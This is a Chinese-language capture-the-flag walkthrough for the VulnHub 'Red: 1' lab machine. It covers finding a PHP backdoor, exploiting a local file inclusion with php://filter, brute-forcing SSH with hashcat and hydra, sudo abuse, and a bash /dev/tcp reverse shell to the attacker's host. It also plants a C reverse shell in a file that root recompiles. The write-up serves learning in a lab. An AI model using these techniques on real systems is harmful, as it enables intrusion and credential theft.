Red : 1

项目地址

http://www.vulnhub.com/entry/red-1,753/
难度:Medium

测试环境

攻击机:Kali 192.168.56.109

目标靶机:Ubuntu 192.168.56.113

测试过程

信息收集

查找靶机IParp-scan -I eth1 -l,获取到目标IP为192.168.56.113。
1

使用nmap扫描目标开放了哪些端口nmap -sS -p- -n 192.168.56.113,nmap -sV -p22,80 -n 192.168.56.113
2

访问目标网站,并没有被解析,显示并不完整,查看源码,超链接都指向redrocks.win,修改hosts文件,将redrocks.win指向192.168.56.113。
3

网页恢复正常,是个wordpress站点。在查看redrocks.win/2021/10/24/hello-world/源码时发现有行奇怪的注释,一开始以为是网站的用户名,但是使用忘记密码页面时显示无此账户,并且它的首字母大写并不是很正常Looking For It,缩写就是LFI(Local File Inclusion)
![4]https://img.freeaes.com/images/2021/12/19/4.png

查找后门文件

并且网站页面上有hacker留下的信息You’ll never find the backdoor,证明是有后门文件的,通过gobuster使用https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt文件进行遍历,先将文件保存到本地,执行gobuster dir -u http://redrocks.win -w CommonBackdoors-PHP.fuzz.txt,应为文件内已有后缀,所以不用再指定后缀名。

5

找到一个NetworkFileManagerPHP.php。状态码为500,因为是个文件包含所以应该需要一个参数指定包含的文件名,通过burpsuite使用https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/burp-parameter-names.txt文件进行爆破,将文件保存到本地,使用Intrude模块导入字典,设置好参数后爆破得到参数为key

6

7

后门利用

可以看到除了root外还有四个用户,因为直接读取wp-config.php不成功,所以需要使用php伪协议读取php://filter/convert.base64-encode/resource=wp-config.php,选中base64密文,按Ctrl+Shift+B解密。文件内有数据库的用户名和其密码john/R3v_m4lwh3r3_k1nG!!,但是并不能用来登录后台或ssh

8

9

通过读取Network File Manager PHP.php文件发现里面有一串注释过的信息That password alone won't help you! Hashcat says rules are rules

10

11

hash碰撞

hashcat的规则有很多,不过鉴于信息是由base64提供的,选择bset64规则进行hash碰撞hashcat --force pass -r /usr/share/hashcat/rules/best64.rule --stdout > pswd

12

13

使用解出的密码通过hydra进行ssh爆破hydra -l john -P pswd ssh://192.168.56.113,得出密码为R3v_m4lwh3r3_k1nG!!0,使用ssh连接。

14

会话维持

使用sudo -l查看当前用户可执行的命令,有time,执行sudo -u ippsec /usr/bin/time /bin/bash切换到ippsec用户。

15

hacker会不断的给我们发送信息干扰,一段时间后还会将我们踢出连接并修改密码。
首先我们反弹一个shell到kali。先在kali执行nc -lvvp 8848建立监听端口,然后在目标机器上执行bash -i >& /dev/tcp/192.168.56.109/8848 0>&1。反弹成功后执行python3 -c 'import pty;pty.spawn("/bin/bash")',这样即使ssh被踢掉也不会断开。

16

权限提出

网站目录下的wordpress目录内有个.git目录,里面有两个文件,rev和supersecretfileuc.c,rev是supersecretfileuc.c编译的程序,执行会输出信息,就是red时不时弹出的骚扰信息,将rev删除后过段时间会重新编译,并且是root权限。

17

删掉这两个文件,用revshell.com网站生成C的反弹shell程序,通过http服务将其传到目标机器写入supersecretfileuc.c,并在kali监听9001端口,过段时间它会自动编译并执行。在root目录下有个root.txt文件。

18

19

20